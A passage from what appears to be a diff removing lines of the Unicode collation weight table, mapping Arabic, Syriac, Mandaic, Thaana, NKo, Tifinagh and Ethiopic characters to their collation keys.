-06C1  ; [.2327.0020.0002] # ARABIC LETTER HEH GOAL
-FBA8  ; [.2327.0020.0017] # ARABIC LETTER HEH GOAL INITIAL FORM
-FBA9  ; [.2327.0020.0018] # ARABIC LETTER HEH GOAL MEDIAL FORM
-FBA7  ; [.2327.0020.0019] # ARABIC LETTER HEH GOAL FINAL FORM
-FBA6  ; [.2327.0020.001A] # ARABIC LETTER HEH GOAL ISOLATED FORM
-06C2  ; [.2327.0020.0002][.0000.0083.0002] # ARABIC LETTER HEH GOAL WITH HAMZA ABOVE
-06C3  ; [.2328.0020.0002] # ARABIC LETTER TEH MARBUTA GOAL
-06FF  ; [.2329.0020.0002] # ARABIC LETTER HEH WITH INVERTED V
-06D5  ; [.232A.0020.0002] # ARABIC LETTER AE
-06C0  ; [.232A.0020.0002][.0000.0083.0002] # ARABIC LETTER HEH WITH YEH ABOVE
-FBA5  ; [.232A.0020.0019][.0000.0083.0019] # ARABIC LETTER HEH WITH YEH ABOVE FINAL FORM
-FBA4  ; [.232A.0020.001A][.0000.0083.001A] # ARABIC LETTER HEH WITH YEH ABOVE ISOLATED FORM
-0648  ; [.232B.0020.0002] # ARABIC LETTER WAW
-06E5  ; [.232B.0020.0004] # ARABIC SMALL WAW
-1EE05 ; [.232B.0020.0005] # ARABIC MATHEMATICAL WAW
-1EE85 ; [.232B.0020.0005] # ARABIC MATHEMATICAL LOOPED WAW
-1EEA5 ; [.232B.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK WAW
-FEEE  ; [.232B.0020.0019] # ARABIC LETTER WAW FINAL FORM
-FEED  ; [.232B.0020.001A] # ARABIC LETTER WAW ISOLATED FORM
-0676  ; [.232B.0020.0004][.2278.0020.0004] # ARABIC LETTER HIGH HAMZA WAW
-FDF8  ; [.232B.0020.001A][.22D0.0020.001A][.2311.0020.001A][.2318.0020.001A] # ARABIC LIGATURE WASALLAM ISOLATED FORM
-06C4  ; [.232C.0020.0002] # ARABIC LETTER WAW WITH RING
-06C5  ; [.232D.0020.0002] # ARABIC LETTER KIRGHIZ OE
-FBE1  ; [.232D.0020.0019] # ARABIC LETTER KIRGHIZ OE FINAL FORM
-FBE0  ; [.232D.0020.001A] # ARABIC LETTER KIRGHIZ OE ISOLATED FORM
-06C6  ; [.232E.0020.0002] # ARABIC LETTER OE
-FBDA  ; [.232E.0020.0019] # ARABIC LETTER OE FINAL FORM
-FBD9  ; [.232E.0020.001A] # ARABIC LETTER OE ISOLATED FORM
-06C7  ; [.232F.0020.0002] # ARABIC LETTER U
-FBD8  ; [.232F.0020.0019] # ARABIC LETTER U FINAL FORM
-FBD7  ; [.232F.0020.001A] # ARABIC LETTER U ISOLATED FORM
-0677  ; [.232F.0020.0004][.2278.0020.0004] # ARABIC LETTER U WITH HAMZA ABOVE
-FBDD  ; [.232F.0020.001A][.2278.0020.001A] # ARABIC LETTER U WITH HAMZA ABOVE ISOLATED FORM
-06C8  ; [.2330.0020.0002] # ARABIC LETTER YU
-FBDC  ; [.2330.0020.0019] # ARABIC LETTER YU FINAL FORM
-FBDB  ; [.2330.0020.001A] # ARABIC LETTER YU ISOLATED FORM
-06C9  ; [.2331.0020.0002] # ARABIC LETTER KIRGHIZ YU
-FBE3  ; [.2331.0020.0019] # ARABIC LETTER KIRGHIZ YU FINAL FORM
-FBE2  ; [.2331.0020.001A] # ARABIC LETTER KIRGHIZ YU ISOLATED FORM
-06CA  ; [.2332.0020.0002] # ARABIC LETTER WAW WITH TWO DOTS ABOVE
-06CB  ; [.2333.0020.0002] # ARABIC LETTER VE
-FBDF  ; [.2333.0020.0019] # ARABIC LETTER VE FINAL FORM
-FBDE  ; [.2333.0020.001A] # ARABIC LETTER VE ISOLATED FORM
-08B1  ; [.2334.0020.0002] # ARABIC LETTER STRAIGHT WAW
-06CF  ; [.2335.0020.0002] # ARABIC LETTER WAW WITH DOT ABOVE
-0778  ; [.2336.0020.0002] # ARABIC LETTER WAW WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE
-0779  ; [.2337.0020.0002] # ARABIC LETTER WAW WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE
-08AB  ; [.2338.0020.0002] # ARABIC LETTER WAW WITH DOT WITHIN
-0649  ; [.2339.0020.0002] # ARABIC LETTER ALEF MAKSURA
-FBE8  ; [.2339.0020.0017] # ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA INITIAL FORM
-FBE9  ; [.2339.0020.0018] # ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA MEDIAL FORM
-FEF0  ; [.2339.0020.0019] # ARABIC LETTER ALEF MAKSURA FINAL FORM
-FEEF  ; [.2339.0020.001A] # ARABIC LETTER ALEF MAKSURA ISOLATED FORM
-FC90  ; [.2339.0020.0019][.0000.0098.0019] # ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF FINAL FORM
-FC5D  ; [.2339.0020.001A][.0000.0098.001A] # ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF ISOLATED FORM
-064A  ; [.233A.0020.0002] # ARABIC LETTER YEH
-06E6  ; [.233A.0020.0004] # ARABIC SMALL YEH
-1EE09 ; [.233A.0020.0005] # ARABIC MATHEMATICAL YEH
-1EE29 ; [.233A.0020.0005] # ARABIC MATHEMATICAL INITIAL YEH
-1EE49 ; [.233A.0020.0005] # ARABIC MATHEMATICAL TAILED YEH
-1EE69 ; [.233A.0020.0005] # ARABIC MATHEMATICAL STRETCHED YEH
-1EE89 ; [.233A.0020.0005] # ARABIC MATHEMATICAL LOOPED YEH
-1EEA9 ; [.233A.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK YEH
-FEF3  ; [.233A.0020.0017] # ARABIC LETTER YEH INITIAL FORM
-FEF4  ; [.233A.0020.0018] # ARABIC LETTER YEH MEDIAL FORM
-FEF2  ; [.233A.0020.0019] # ARABIC LETTER YEH FINAL FORM
-FEF1  ; [.233A.0020.001A] # ARABIC LETTER YEH ISOLATED FORM
-0678  ; [.233A.0020.0004][.2278.0020.0004] # ARABIC LETTER HIGH HAMZA YEH
-FCDA  ; [.233A.0020.0017][.229D.0020.0017] # ARABIC LIGATURE YEH WITH JEEM INITIAL FORM
-FC55  ; [.233A.0020.001A][.229D.0020.001A] # ARABIC LIGATURE YEH WITH JEEM ISOLATED FORM
-FDAF  ; [.233A.0020.0019][.229D.0020.0019][.233A.0020.0019] # ARABIC LIGATURE YEH WITH JEEM WITH YEH FINAL FORM
-FCDB  ; [.233A.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE YEH WITH HAH INITIAL FORM
-FC56  ; [.233A.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE YEH WITH HAH ISOLATED FORM
-FDAE  ; [.233A.0020.0019][.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE YEH WITH HAH WITH YEH FINAL FORM
-FCDC  ; [.233A.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE YEH WITH KHAH INITIAL FORM
-FC57  ; [.233A.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE YEH WITH KHAH ISOLATED FORM
-FC91  ; [.233A.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE YEH WITH REH FINAL FORM
-FC92  ; [.233A.0020.0019][.22BF.0020.0019] # ARABIC LIGATURE YEH WITH ZAIN FINAL FORM
-FCDD  ; [.233A.0020.0017][.2318.0020.0017] # ARABIC LIGATURE YEH WITH MEEM INITIAL FORM
-FCF0  ; [.233A.0020.0018][.2318.0020.0018] # ARABIC LIGATURE YEH WITH MEEM MEDIAL FORM
-FC93  ; [.233A.0020.0019][.2318.0020.0019] # ARABIC LIGATURE YEH WITH MEEM FINAL FORM
-FC58  ; [.233A.0020.001A][.2318.0020.001A] # ARABIC LIGATURE YEH WITH MEEM ISOLATED FORM
-FD9D  ; [.233A.0020.0017][.2318.0020.0017][.2318.0020.0017] # ARABIC LIGATURE YEH WITH MEEM WITH MEEM INITIAL FORM
-FD9C  ; [.233A.0020.0019][.2318.0020.0019][.2318.0020.0019] # ARABIC LIGATURE YEH WITH MEEM WITH MEEM FINAL FORM
-FDB0  ; [.233A.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE YEH WITH MEEM WITH YEH FINAL FORM
-FC94  ; [.233A.0020.0019][.231C.0020.0019] # ARABIC LIGATURE YEH WITH NOON FINAL FORM
-FCDE  ; [.233A.0020.0017][.2325.0020.0017] # ARABIC LIGATURE YEH WITH HEH INITIAL FORM
-FCF1  ; [.233A.0020.0018][.2325.0020.0018] # ARABIC LIGATURE YEH WITH HEH MEDIAL FORM
-FC95  ; [.233A.0020.0019][.2339.0020.0019] # ARABIC LIGATURE YEH WITH ALEF MAKSURA FINAL FORM
-FC59  ; [.233A.0020.001A][.2339.0020.001A] # ARABIC LIGATURE YEH WITH ALEF MAKSURA ISOLATED FORM
-FC96  ; [.233A.0020.0019][.233A.0020.0019] # ARABIC LIGATURE YEH WITH YEH FINAL FORM
-FC5A  ; [.233A.0020.001A][.233A.0020.001A] # ARABIC LIGATURE YEH WITH YEH ISOLATED FORM
-06CC  ; [.233B.0020.0002] # ARABIC LETTER FARSI YEH
-FBFE  ; [.233B.0020.0017] # ARABIC LETTER FARSI YEH INITIAL FORM
-FBFF  ; [.233B.0020.0018] # ARABIC LETTER FARSI YEH MEDIAL FORM
-FBFD  ; [.233B.0020.0019] # ARABIC LETTER FARSI YEH FINAL FORM
-FBFC  ; [.233B.0020.001A] # ARABIC LETTER FARSI YEH ISOLATED FORM
-06CD  ; [.233C.0020.0002] # ARABIC LETTER YEH WITH TAIL
-06CE  ; [.233D.0020.0002] # ARABIC LETTER YEH WITH SMALL V
-06D0  ; [.233E.0020.0002] # ARABIC LETTER E
-FBE6  ; [.233E.0020.0017] # ARABIC LETTER E INITIAL FORM
-FBE7  ; [.233E.0020.0018] # ARABIC LETTER E MEDIAL FORM
-FBE5  ; [.233E.0020.0019] # ARABIC LETTER E FINAL FORM
-FBE4  ; [.233E.0020.001A] # ARABIC LETTER E ISOLATED FORM
-06D1  ; [.233F.0020.0002] # ARABIC LETTER YEH WITH THREE DOTS BELOW
-063D  ; [.2340.0020.0002] # ARABIC LETTER FARSI YEH WITH INVERTED V
-063E  ; [.2341.0020.0002] # ARABIC LETTER FARSI YEH WITH TWO DOTS ABOVE
-063F  ; [.2342.0020.0002] # ARABIC LETTER FARSI YEH WITH THREE DOTS ABOVE
-0620  ; [.2343.0020.0002] # ARABIC LETTER KASHMIRI YEH
-0775  ; [.2344.0020.0002] # ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE
-0776  ; [.2345.0020.0002] # ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE
-0777  ; [.2346.0020.0002] # ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT FOUR BELOW
-06D2  ; [.2347.0020.0002] # ARABIC LETTER YEH BARREE
-FBAF  ; [.2347.0020.0019] # ARABIC LETTER YEH BARREE FINAL FORM
-FBAE  ; [.2347.0020.001A] # ARABIC LETTER YEH BARREE ISOLATED FORM
-06D3  ; [.2347.0020.0002][.0000.0083.0002] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE
-FBB1  ; [.2347.0020.0019][.0000.0083.0019] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE FINAL FORM
-FBB0  ; [.2347.0020.001A][.0000.0083.001A] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE ISOLATED FORM
-077A  ; [.2348.0020.0002] # ARABIC LETTER YEH BARREE WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE
-077B  ; [.2349.0020.0002] # ARABIC LETTER YEH BARREE WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE
-0710  ; [.234A.0020.0002] # SYRIAC LETTER ALAPH
-0712  ; [.234B.0020.0002] # SYRIAC LETTER BETH
-072D  ; [.234B.0020.0004][.0000.010D.0004] # SYRIAC LETTER PERSIAN BHETH
-0713  ; [.234C.0020.0002] # SYRIAC LETTER GAMAL
-0714  ; [.234C.0020.0004][.0000.010C.0004] # SYRIAC LETTER GAMAL GARSHUNI
-072E  ; [.234C.0020.0004][.0000.010D.0004] # SYRIAC LETTER PERSIAN GHAMAL
-0716  ; [.234D.0020.0002] # SYRIAC LETTER DOTLESS DALATH RISH
-0715  ; [.234E.0020.0002] # SYRIAC LETTER DALATH
-072F  ; [.234E.0020.0004][.0000.010D.0004] # SYRIAC LETTER PERSIAN DHALATH
-0717  ; [.234F.0020.0002] # SYRIAC LETTER HE
-0718  ; [.2350.0020.0002] # SYRIAC LETTER WAW
-0719  ; [.2351.0020.0002] # SYRIAC LETTER ZAIN
-074D  ; [.2352.0020.0002] # SYRIAC LETTER SOGDIAN ZHAIN
-071A  ; [.2353.0020.0002] # SYRIAC LETTER HETH
-071B  ; [.2354.0020.0002] # SYRIAC LETTER TETH
-071C  ; [.2354.0020.0004][.0000.010C.0004] # SYRIAC LETTER TETH GARSHUNI
-071D  ; [.2355.0020.0002] # SYRIAC LETTER YUDH
-071E  ; [.2356.0020.0002] # SYRIAC LETTER YUDH HE
-071F  ; [.2357.0020.0002] # SYRIAC LETTER KAPH
-074E  ; [.2358.0020.0002] # SYRIAC LETTER SOGDIAN KHAPH
-0720  ; [.2359.0020.0002] # SYRIAC LETTER LAMADH
-0721  ; [.235A.0020.0002] # SYRIAC LETTER MIM
-0722  ; [.235B.0020.0002] # SYRIAC LETTER NUN
-0723  ; [.235C.0020.0002] # SYRIAC LETTER SEMKATH
-0724  ; [.235C.0020.0019] # SYRIAC LETTER FINAL SEMKATH
-0725  ; [.235D.0020.0002] # SYRIAC LETTER E
-0726  ; [.235E.0020.0002] # SYRIAC LETTER PE
-0727  ; [.235E.0020.0004][.0000.010C.0004] # SYRIAC LETTER REVERSED PE
-074F  ; [.235F.0020.0002] # SYRIAC LETTER SOGDIAN FE
-0728  ; [.2360.0020.0002] # SYRIAC LETTER SADHE
-0729  ; [.2361.0020.0002] # SYRIAC LETTER QAPH
-072A  ; [.2362.0020.0002] # SYRIAC LETTER RISH
-072B  ; [.2363.0020.0002] # SYRIAC LETTER SHIN
-072C  ; [.2364.0020.0002] # SYRIAC LETTER TAW
-0840  ; [.2365.0020.0002] # MANDAIC LETTER HALQA
-0841  ; [.2366.0020.0002] # MANDAIC LETTER AB
-0842  ; [.2367.0020.0002] # MANDAIC LETTER AG
-0843  ; [.2368.0020.0002] # MANDAIC LETTER AD
-0844  ; [.2369.0020.0002] # MANDAIC LETTER AH
-0845  ; [.236A.0020.0002] # MANDAIC LETTER USHENNA
-0846  ; [.236B.0020.0002] # MANDAIC LETTER AZ
-0847  ; [.236C.0020.0002] # MANDAIC LETTER IT
-0848  ; [.236D.0020.0002] # MANDAIC LETTER ATT
-0849  ; [.236E.0020.0002] # MANDAIC LETTER AKSA
-084A  ; [.236F.0020.0002] # MANDAIC LETTER AK
-084B  ; [.2370.0020.0002] # MANDAIC LETTER AL
-084C  ; [.2371.0020.0002] # MANDAIC LETTER AM
-084D  ; [.2372.0020.0002] # MANDAIC LETTER AN
-084E  ; [.2373.0020.0002] # MANDAIC LETTER AS
-084F  ; [.2374.0020.0002] # MANDAIC LETTER IN
-0850  ; [.2375.0020.0002] # MANDAIC LETTER AP
-0851  ; [.2376.0020.0002] # MANDAIC LETTER ASZ
-0852  ; [.2377.0020.0002] # MANDAIC LETTER AQ
-0853  ; [.2378.0020.0002] # MANDAIC LETTER AR
-0854  ; [.2379.0020.0002] # MANDAIC LETTER ASH
-0855  ; [.237A.0020.0002] # MANDAIC LETTER AT
-0856  ; [.237B.0020.0002] # MANDAIC LETTER DUSHENNA
-0857  ; [.237C.0020.0002] # MANDAIC LETTER KAD
-0858  ; [.237D.0020.0002] # MANDAIC LETTER AIN
-0780  ; [.237E.0020.0002] # THAANA LETTER HAA
-0799  ; [.237F.0020.0002] # THAANA LETTER HHAA
-079A  ; [.2380.0020.0002] # THAANA LETTER KHAA
-0781  ; [.2381.0020.0002] # THAANA LETTER SHAVIYANI
-0782  ; [.2382.0020.0002] # THAANA LETTER NOONU
-0783  ; [.2383.0020.0002] # THAANA LETTER RAA
-079C  ; [.2384.0020.0002] # THAANA LETTER ZAA
-0784  ; [.2385.0020.0002] # THAANA LETTER BAA
-0785  ; [.2386.0020.0002] # THAANA LETTER LHAVIYANI
-0786  ; [.2387.0020.0002] # THAANA LETTER KAAFU
-0787  ; [.2388.0020.0002] # THAANA LETTER ALIFU
-07A2  ; [.2389.0020.0002] # THAANA LETTER AINU
-07A3  ; [.238A.0020.0002] # THAANA LETTER GHAINU
-0788  ; [.238B.0020.0002] # THAANA LETTER VAAVU
-07A5  ; [.238C.0020.0002] # THAANA LETTER WAAVU
-0789  ; [.238D.0020.0002] # THAANA LETTER MEEMU
-078A  ; [.238E.0020.0002] # THAANA LETTER FAAFU
-078B  ; [.238F.0020.0002] # THAANA LETTER DHAALU
-079B  ; [.2390.0020.0002] # THAANA LETTER THAALU
-078C  ; [.2391.0020.0002] # THAANA LETTER THAA
-0798  ; [.2392.0020.0002] # THAANA LETTER TTAA
-07A0  ; [.2393.0020.0002] # THAANA LETTER TO
-07A1  ; [.2394.0020.0002] # THAANA LETTER ZO
-078D  ; [.2395.0020.0002] # THAANA LETTER LAAMU
-078E  ; [.2396.0020.0002] # THAANA LETTER GAAFU
-07A4  ; [.2397.0020.0002] # THAANA LETTER QAAFU
-078F  ; [.2398.0020.0002] # THAANA LETTER GNAVIYANI
-0790  ; [.2399.0020.0002] # THAANA LETTER SEENU
-079D  ; [.239A.0020.0002] # THAANA LETTER SHEENU
-079E  ; [.239B.0020.0002] # THAANA LETTER SAADHU
-079F  ; [.239C.0020.0002] # THAANA LETTER DAADHU
-0791  ; [.239D.0020.0002] # THAANA LETTER DAVIYANI
-0792  ; [.239E.0020.0002] # THAANA LETTER ZAVIYANI
-0793  ; [.239F.0020.0002] # THAANA LETTER TAVIYANI
-0794  ; [.23A0.0020.0002] # THAANA LETTER YAA
-0795  ; [.23A1.0020.0002] # THAANA LETTER PAVIYANI
-0796  ; [.23A2.0020.0002] # THAANA LETTER JAVIYANI
-0797  ; [.23A3.0020.0002] # THAANA LETTER CHAVIYANI
-07B1  ; [.23A4.0020.0002] # THAANA LETTER NAA
-07A6  ; [.23A5.0020.0002] # THAANA ABAFILI
-07A7  ; [.23A6.0020.0002] # THAANA AABAAFILI
-07A8  ; [.23A7.0020.0002] # THAANA IBIFILI
-07A9  ; [.23A8.0020.0002] # THAANA EEBEEFILI
-07AA  ; [.23A9.0020.0002] # THAANA UBUFILI
-07AB  ; [.23AA.0020.0002] # THAANA OOBOOFILI
-07AC  ; [.23AB.0020.0002] # THAANA EBEFILI
-07AD  ; [.23AC.0020.0002] # THAANA EYBEYFILI
-07AE  ; [.23AD.0020.0002] # THAANA OBOFILI
-07AF  ; [.23AE.0020.0002] # THAANA OABOAFILI
-07B0  ; [.23AF.0020.0002] # THAANA SUKUN
-07CA  ; [.23B0.0020.0002] # NKO LETTER A
-07CB  ; [.23B1.0020.0002] # NKO LETTER EE
-07CC  ; [.23B2.0020.0002] # NKO LETTER I
-07CD  ; [.23B3.0020.0002] # NKO LETTER E
-07CE  ; [.23B4.0020.0002] # NKO LETTER U
-07CF  ; [.23B5.0020.0002] # NKO LETTER OO
-07D0  ; [.23B6.0020.0002] # NKO LETTER O
-07D1  ; [.23B7.0020.0002] # NKO LETTER DAGBASINNA
-07D2  ; [.23B8.0020.0002] # NKO LETTER N
-07D3  ; [.23B9.0020.0002] # NKO LETTER BA
-07D4  ; [.23BA.0020.0002] # NKO LETTER PA
-07D5  ; [.23BB.0020.0002] # NKO LETTER TA
-07D6  ; [.23BC.0020.0002] # NKO LETTER JA
-07E8  ; [.23BC.0020.0004][.0000.010B.0004] # NKO LETTER JONA JA
-07D7  ; [.23BD.0020.0002] # NKO LETTER CHA
-07E9  ; [.23BD.0020.0004][.0000.010B.0004] # NKO LETTER JONA CHA
-07D8  ; [.23BE.0020.0002] # NKO LETTER DA
-07D9  ; [.23BF.0020.0002] # NKO LETTER RA
-07EA  ; [.23BF.0020.0004][.0000.010B.0004] # NKO LETTER JONA RA
-07DA  ; [.23C0.0020.0002] # NKO LETTER RRA
-07DB  ; [.23C1.0020.0002] # NKO LETTER SA
-07DC  ; [.23C2.0020.0002] # NKO LETTER GBA
-07DD  ; [.23C3.0020.0002] # NKO LETTER FA
-07DE  ; [.23C4.0020.0002] # NKO LETTER KA
-07DF  ; [.23C5.0020.0002] # NKO LETTER LA
-07E0  ; [.23C6.0020.0002] # NKO LETTER NA WOLOSO
-07E1  ; [.23C7.0020.0002] # NKO LETTER MA
-07E2  ; [.23C8.0020.0002] # NKO LETTER NYA
-07E3  ; [.23C9.0020.0002] # NKO LETTER NA
-07E4  ; [.23CA.0020.0002] # NKO LETTER HA
-07E5  ; [.23CB.0020.0002] # NKO LETTER WA
-07E6  ; [.23CC.0020.0002] # NKO LETTER YA
-07E7  ; [.23CD.0020.0002] # NKO LETTER NYA WOLOSO
-07F4  ; [.23CE.0020.0002] # NKO HIGH TONE APOSTROPHE
-07F5  ; [.23CF.0020.0002] # NKO LOW TONE APOSTROPHE
-2D30  ; [.23D0.0020.0002] # TIFINAGH LETTER YA
-2D31  ; [.23D1.0020.0002] # TIFINAGH LETTER YAB
-2D32  ; [.23D2.0020.0002] # TIFINAGH LETTER YABH
-2D33  ; [.23D3.0020.0002] # TIFINAGH LETTER YAG
-2D34  ; [.23D4.0020.0002] # TIFINAGH LETTER YAGHH
-2D35  ; [.23D5.0020.0002] # TIFINAGH LETTER BERBER ACADEMY YAJ
-2D36  ; [.23D6.0020.0002] # TIFINAGH LETTER YAJ
-2D37  ; [.23D7.0020.0002] # TIFINAGH LETTER YAD
-2D38  ; [.23D8.0020.0002] # TIFINAGH LETTER YADH
-2D39  ; [.23D9.0020.0002] # TIFINAGH LETTER YADD
-2D3A  ; [.23DA.0020.0002] # TIFINAGH LETTER YADDH
-2D3B  ; [.23DB.0020.0002] # TIFINAGH LETTER YEY
-2D66  ; [.23DC.0020.0002] # TIFINAGH LETTER YE
-2D3C  ; [.23DD.0020.0002] # TIFINAGH LETTER YAF
-2D3D  ; [.23DE.0020.0002] # TIFINAGH LETTER YAK
-2D3E  ; [.23DF.0020.0002] # TIFINAGH LETTER TUAREG YAK
-2D3F  ; [.23E0.0020.0002] # TIFINAGH LETTER YAKHH
-2D40  ; [.23E1.0020.0002] # TIFINAGH LETTER YAH
-2D41  ; [.23E2.0020.0002] # TIFINAGH LETTER BERBER ACADEMY YAH
-2D42  ; [.23E3.0020.0002] # TIFINAGH LETTER TUAREG YAH
-2D43  ; [.23E4.0020.0002] # TIFINAGH LETTER YAHH
-2D44  ; [.23E5.0020.0002] # TIFINAGH LETTER YAA
-2D45  ; [.23E6.0020.0002] # TIFINAGH LETTER YAKH
-2D46  ; [.23E7.0020.0002] # TIFINAGH LETTER TUAREG YAKH
-2D47  ; [.23E8.0020.0002] # TIFINAGH LETTER YAQ
-2D48  ; [.23E9.0020.0002] # TIFINAGH LETTER TUAREG YAQ
-2D49  ; [.23EA.0020.0002] # TIFINAGH LETTER YI
-2D4A  ; [.23EB.0020.0002] # TIFINAGH LETTER YAZH
-2D4B  ; [.23EC.0020.0002] # TIFINAGH LETTER AHAGGAR YAZH
-2D4C  ; [.23ED.0020.0002] # TIFINAGH LETTER TUAREG YAZH
-2D4D  ; [.23EE.0020.0002] # TIFINAGH LETTER YAL
-2D4E  ; [.23EF.0020.0002] # TIFINAGH LETTER YAM
-2D4F  ; [.23F0.0020.0002] # TIFINAGH LETTER YAN
-2D50  ; [.23F1.0020.0002] # TIFINAGH LETTER TUAREG YAGN
-2D51  ; [.23F2.0020.0002] # TIFINAGH LETTER TUAREG YANG
-2D52  ; [.23F3.0020.0002] # TIFINAGH LETTER YAP
-2D53  ; [.23F4.0020.0002] # TIFINAGH LETTER YU
-2D67  ; [.23F5.0020.0002] # TIFINAGH LETTER YO
-2D54  ; [.23F6.0020.0002] # TIFINAGH LETTER YAR
-2D55  ; [.23F7.0020.0002] # TIFINAGH LETTER YARR
-2D56  ; [.23F8.0020.0002] # TIFINAGH LETTER YAGH
-2D57  ; [.23F9.0020.0002] # TIFINAGH LETTER TUAREG YAGH
-2D58  ; [.23FA.0020.0002] # TIFINAGH LETTER AYER YAGH
-2D59  ; [.23FB.0020.0002] # TIFINAGH LETTER YAS
-2D5A  ; [.23FC.0020.0002] # TIFINAGH LETTER YASS
-2D5B  ; [.23FD.0020.0002] # TIFINAGH LETTER YASH
-2D5C  ; [.23FE.0020.0002] # TIFINAGH LETTER YAT
-2D5D  ; [.23FF.0020.0002] # TIFINAGH LETTER YATH
-2D5E  ; [.2400.0020.0002] # TIFINAGH LETTER YACH
-2D5F  ; [.2401.0020.0002] # TIFINAGH LETTER YATT
-2D60  ; [.2402.0020.0002] # TIFINAGH LETTER YAV
-2D61  ; [.2403.0020.0002] # TIFINAGH LETTER YAW
-2D62  ; [.2404.0020.0002] # TIFINAGH LETTER YAY
-2D63  ; [.2405.0020.0002] # TIFINAGH LETTER YAZ
-2D64  ; [.2406.0020.0002] # TIFINAGH LETTER TAWELLEMET YAZ
-2D65  ; [.2407.0020.0002] # TIFINAGH LETTER YAZZ
-2D6F  ; [.2408.0020.0002] # TIFINAGH MODIFIER LETTER LABIALIZATION MARK
-1200  ; [.2409.0020.0002] # ETHIOPIC SYLLABLE HA
-1201  ; [.240A.0020.0002] # ETHIOPIC SYLLABLE HU
-1202  ; [.240B.0020.0002] # ETHIOPIC SYLLABLE HI
-1203  ; [.240C.0020.0002] # ETHIOPIC SYLLABLE HAA
-1204  ; [.240D.0020.0002] # ETHIOPIC SYLLABLE HEE
-1205  ; [.240E.0020.0002] # ETHIOPIC SYLLABLE HE
-1206  ; [.240F.0020.0002] # ETHIOPIC SYLLABLE HO
-1207  ; [.2410.0020.0002] # ETHIOPIC SYLLABLE HOA
-1208  ; [.2411.0020.0002] # ETHIOPIC SYLLABLE LA
-1209  ; [.2412.0020.0002] # ETHIOPIC SYLLABLE LU
-120A  ; [.2413.0020.0002] # ETHIOPIC SYLLABLE LI
-120B  ; [.2414.0020.0002] # ETHIOPIC SYLLABLE LAA
-120C  ; [.2415.0020.0002] # ETHIOPIC SYLLABLE LEE
-120D  ; [.2416.0020.0002] # ETHIOPIC SYLLABLE LE
-120E  ; [.2417.0020.0002] # ETHIOPIC SYLLABLE LO
-120F  ; [.2418.0020.0002] # ETHIOPIC SYLLABLE LWA
-2D80  ; [.2419.0020.0002] # ETHIOPIC SYLLABLE LOA
-1210  ; [.241A.0020.0002] # ETHIOPIC SYLLABLE HHA
-1211  ; [.241B.0020.0002] # ETHIOPIC SYLLABLE HHU
-1212  ; [.241C.0020.0002] # ETHIOPIC SYLLABLE HHI
-1213  ; [.241D.0020.0002] # ETHIOPIC SYLLABLE HHAA
-1214  ; [.241E.0020.0002] # ETHIOPIC SYLLABLE HHEE
-1215  ; [.241F.0020.0002] # ETHIOPIC SYLLABLE HHE
-1216  ; [.2420.0020.0002] # ETHIOPIC SYLLABLE HHO
-1217  ; [.2421.0020.0002] # ETHIOPIC SYLLABLE HHWA
-1218  ; [.2422.0020.0002] # ETHIOPIC SYLLABLE MA
-1219  ; [.2423.0020.0002] # ETHIOPIC SYLLABLE MU
-121A  ; [.2424.0020.0002] # ETHIOPIC SYLLABLE MI
-121B  ; [.2425.0020.0002] # ETHIOPIC SYLLABLE MAA
-121C  ; [.2426.0020.0002] # ETHIOPIC SYLLABLE MEE
-121D  ; [.2427.0020.0002] # ETHIOPIC SYLLABLE ME
-121E  ; [.2428.0020.0002] # ETHIOPIC SYLLABLE MO
-121F  ; [.2429.0020.0002] # ETHIOPIC SYLLABLE MWA
-1380  ; [.242A.0020.0002] # ETHIOPIC SYLLABLE SEBATBEIT MWA
-1381  ; [.242B.0020.0002] # ETHIOPIC SYLLABLE MWI
-1382  ; [.242C.0020.0002] # ETHIOPIC SYLLABLE MWEE
-1383  ; [.242D.0020.0002] # ETHIOPIC SYLLABLE MWE
-2D81  ; [.242E.0020.0002] # ETHIOPIC SYLLABLE MOA
-1220  ; [.242F.0020.0002] # ETHIOPIC SYLLABLE SZA
-1221  ; [.2430.0020.0002] # ETHIOPIC SYLLABLE SZU
-1222  ; [.2431.0020.0002] # ETHIOPIC SYLLABLE SZI
-1223  ; [.2432.0020.0002] # ETHIOPIC SYLLABLE SZAA
-1224  ; [.2433.0020.0002] # ETHIOPIC SYLLABLE SZEE
-1225  ; [.2434.0020.0002] # ETHIOPIC SYLLABLE SZE
-1226  ; [.2435.0020.0002] # ETHIOPIC SYLLABLE SZO
-1227  ; [.2436.0020.0002] # ETHIOPIC SYLLABLE SZWA
-1228  ; [.2437.0020.0002] # ETHIOPIC SYLLABLE RA
-1229  ; [.2438.0020.0002] # ETHIOPIC SYLLABLE RU
-122A  ; [.2439.0020.0002] # ETHIOPIC SYLLABLE RI
-122B  ; [.243A.0020.0002] # ETHIOPIC SYLLABLE RAA
-122C  ; [.243B.0020.0002] # ETHIOPIC SYLLABLE REE
-122D  ; [.243C.0020.0002] # ETHIOPIC SYLLABLE RE
-122E  ; [.243D.0020.0002] # ETHIOPIC SYLLABLE RO
-122F  ; [.243E.0020.0002] # ETHIOPIC SYLLABLE RWA
-2D82  ; [.243F.0020.0002] # ETHIOPIC SYLLABLE ROA
-1230  ; [.2440.0020.0002] # ETHIOPIC SYLLABLE SA
-1231  ; [.2441.0020.0002] # ETHIOPIC SYLLABLE SU
